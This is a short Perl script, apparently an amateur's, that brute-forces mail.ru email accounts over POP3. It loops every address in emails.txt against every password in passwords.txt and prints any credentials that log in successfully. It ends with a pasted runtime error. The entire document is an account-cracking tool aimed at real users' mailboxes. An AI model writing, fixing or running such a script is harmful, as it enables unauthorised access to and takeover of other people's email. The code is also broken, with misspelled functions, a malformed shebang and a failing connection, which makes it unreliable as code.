#!usr/bin/perl

use Net::POP3;

$Fpass   = 'passwords.txt';
$Femails = 'emails.txt';

$finds   = 0;

open($emails, $Femails);
while(<$emails>)
{
	chompt;
	$email = $_;

	open($passwords, $Fpass);
	while(<$passwords>)
	{
		chompt;
		$pass = $_;

		$pop = Net::POP3->new('pop.mail.ru');
		$pop = Net::POP3->new('pop.mail.ru', Timeout => 60);		

		if($pop->login($email, $pass)>0)
		{		
			print  "Good PASSSSSSSSSSSSSSSSSSSSSSSSS\n".
				   "[>]Email:".$email."\n".
				   "[>]Password:".$pass."\n";
		}
		else
		{
			print "[>]BAD Password:".$pass;
		}
	}
	$pop->quit;
	Close($passwords);
}
Close($emails);

Can't call method "login" on an undefined value at hello.pl line 29, <$passwords> line 1.